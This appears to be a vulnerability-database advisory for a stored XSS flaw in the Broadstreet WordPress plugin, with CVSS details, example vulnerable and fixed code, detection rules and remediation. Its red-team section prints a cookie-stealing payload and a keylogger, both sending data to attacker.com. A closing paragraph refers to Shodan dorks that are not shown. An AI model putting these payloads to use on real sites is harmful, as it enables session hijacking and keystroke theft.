CVE-2025-9989
Executive Summary
CVE-2025-9989 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Broadstreet plugin for WordPress, affecting all versions up to and including 1.53.1. The flaw exists in the plugin's admin settings, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is particularly impactful on multi-site installations or environments where unfiltered_html has been disabled. Despite a low EPSS score (0.0%), the lack of a known patch and the potential for privilege escalation in multi-site setups make this a significant concern for WordPress ecosystem security.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Broadstreet plugin is distributed via the official WordPress Plugin Directory. Administrators should monitor for updates from the vendor and consider disabling the plugin if no patch is available. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The attack is exploitable remotely.
- Attack Complexity (AC): Low – No special conditions required.
- Privileges Required (PR): High – Requires admin-level authentication.
- User Interaction (UI): Required – A user must access the injected page.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the potential for cross-site scripting in a multi-site WordPress environment can lead to session hijacking, defacement, or phishing attacks.
Deep Dive & Mechanics
The vulnerability resides in the Broadstreet plugin's admin settings page. The plugin fails to properly sanitize user-supplied input and escape output when rendering settings fields. An authenticated administrator can inject malicious JavaScript into these fields. When another administrator or user views the settings page, the injected script executes in their browser context.
Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post(). Input is not validated against a whitelist of allowed values.
Attack Scenario:
- An attacker with admin access on a WordPress multisite network navigates to the Broadstreet settings page.
- They inject a payload like
<script>alert('XSS')</script>into a text field. - The payload is stored in the database.
- When another admin visits the same settings page, the script executes, potentially stealing cookies or performing actions on behalf of the victim.
WordPress Ecosystem Context: This vulnerability is specific to the Broadstreet plugin and does not affect core WordPress or other components. The attack surface is limited to authenticated users with high privileges, but in multisite environments, a compromised super admin can affect all subsites.
Vulnerable vs. Patched Code
Vulnerable Code (Example from Broadstreet plugin <= 1.53.1):
// In admin settings page
function broadstreet_settings_field() {
$value = get_option('broadstreet_option');
echo '<input type="text" name="broadstreet_option" value="' . $value . '" />';
}
The $value is output directly without escaping, allowing stored XSS.
Patched Code (Hypothetical fix):
function broadstreet_settings_field() {
$value = get_option('broadstreet_option');
echo '<input type="text" name="broadstreet_option" value="' . esc_attr($value) . '" />';
}
Using esc_attr() escapes the value for safe HTML attribute output. Additionally, input should be sanitized with sanitize_text_field() or wp_kses() before saving.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress multisite installation with Broadstreet plugin <= 1.53.1.
- Administrator credentials on the network.
Steps:
- Log in as an admin and navigate to the Broadstreet settings page (e.g.,
/wp-admin/options-general.php?page=broadstreet). - In any text field (e.g., "API Key"), inject the following payload:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save the settings.
- Wait for another admin to visit the same page. The script will execute, sending their session cookie to the attacker's server.
Alternative Payload (for keylogging):
<script>
document.onkeypress = function(e) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/log', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('key=' + e.key);
};
</script>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor WordPress admin activity logs for changes to Broadstreet plugin settings.
- Review database entries in
wp_optionsfor thebroadstreet_prefix for suspicious HTML/JavaScript. - Use a Web Application Firewall (WAF) to block common XSS patterns in admin POST requests.
Hunting Query (SQL):
SELECT * FROM wp_options WHERE option_name LIKE 'broadstreet_%' AND option_value LIKE '%<script%';
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
- Suspicious
Refererheaders pointing to/wp-admin/options-general.php?page=broadstreet.
Host IOCs:
- Database entries in
wp_optionswithoption_namelikebroadstreet_*containing<script>tags. - Modified plugin files (though unlikely, as the vulnerability is in settings storage).
- Database entries in
File IOCs:
- No specific file changes expected; the attack is stored in the database.
Detection Engineering
YARA Rule
rule wordpress_broadstreet_xss {
meta:
description = "Detects stored XSS payloads in Broadstreet plugin options"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9989"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$broadstreet_option = /broadstreet_/
condition:
$broadstreet_option and $xss_payload
}
Sigma Rule
title: Stored XSS in Broadstreet Plugin Settings
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS via Broadstreet plugin admin settings
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: options-general.php?page=broadstreet
cs-uri-query|re: (<script|<img|<svg|onerror|onload)
condition: selection
falsepositives:
- Legitimate use of HTML in settings (unlikely)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9989 Broadstreet Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"options-general.php?page=broadstreet"; http_uri; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Broadstreet plugin if not essential, until a patch is released.
- Restrict admin access to only trusted users, especially in multisite environments.
- Enable
unfiltered_htmlcapability only for super admins (default in single-site, but in multisite, ensure it's disabled for subsite admins).
Long-term Fix:
- The vendor must release a patched version (e.g., 1.53.2) that properly sanitizes and escapes all admin settings fields.
- Apply WordPress coding standards: use
esc_html(),esc_attr(),sanitize_text_field(), andwp_kses()as appropriate.
Workaround:
- Implement a custom plugin or mu-plugin that filters the
broadstreet_*options on save to strip script tags:add_filter('pre_update_option', function($value, $option) { if (strpos($option, 'broadstreet_') === 0) { $value = wp_kses_post($value); } return $value; }, 10, 2);
Valters IT – Securing the WordPress ecosystem, one CVE at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.